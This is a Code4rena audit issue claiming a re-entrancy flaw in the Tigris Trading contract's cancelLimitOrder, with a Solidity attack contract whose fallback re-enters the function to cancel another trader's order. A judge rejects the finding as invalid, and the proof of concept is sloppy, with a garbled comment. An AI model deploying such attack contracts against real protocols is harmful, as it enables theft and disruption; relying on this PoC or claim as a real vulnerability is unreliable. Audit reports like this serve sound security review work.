code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L355-L368 https://github.com/gbadebosmith/ouch/blob/04c4bac9fb51f32c91cc05cdfad7e1038961c043/Attack3Trading.sol#L57-L65

Vulnerability details

Impact

Potential violation of Checks-Effects-Interaction pattern in Trading.cancelLimitOrder(uint256,address): Could potentially lead to re-entrancy vulnerability. Someone elses order could be cancelled.

Proof of Concept

//SPDX-License-Identifier: Unlicense pragma solidity >=0.6.0 <0.9.0;

import "./Trading.sol";

contract Attack3Trading { Trading public trading; uint256 public constant DIVISION_CONSTANT = 1e10; // 100% uint256 public constant liqPercent = 9e9; // 90%

struct Fees {
    uint256 daoFees;
    uint256 burnFees;
    uint256 referralFees;
    uint256 botFees;
}
uint256 public limitOrderPriceRange = 1e8; // 1%
uint256 public maxWinPercent;
uint256 public vaultFundingPercent;

struct Delay {
    uint256 delay; // Block number where delay ends
    bool actionType; // True for open, False for close
}
mapping(uint256 => Delay) public blockDelayPassed; // id => Delay
uint256 public blockDelay;
mapping(uint256 => uint256) public limitDelay; // id => block.timestamp

mapping(address => bool) public allowedVault;

struct Proxy {
    address proxy;
    uint256 time;
}

mapping(address => Proxy) public proxyApprovals;

constructor(address _trading) public {
    trading = Trading(_trading);
}

function cancelLimitOrder(uint256 _id, address _trader) external {
    IPosition.Trade memory _trade;
    trading.cancelLimitOrder(_id, _trader);
}

fallback() external payable {
    // fallback function to call withcancelLimitOrderdraw function to cancel the account addresses order if you know the ID
    if (address(trading).balance >= 1 ether) {
        trading.cancelLimitOrder(
            1234567890,
            0xc59dFC955c26493c3E5Ac068A308CB787CCE34e6
        );
    }
}

}

Tools Used

Remix IDE

Recommended Mitigation Steps

GalloDaSballo commented 1 year ago

Invalid because mintFor will not use safeMint

c4-judge commented 1 year ago

GalloDaSballo marked the issue as unsatisfactory: Invalid

code-423n4 / 2022-12-tigris-findings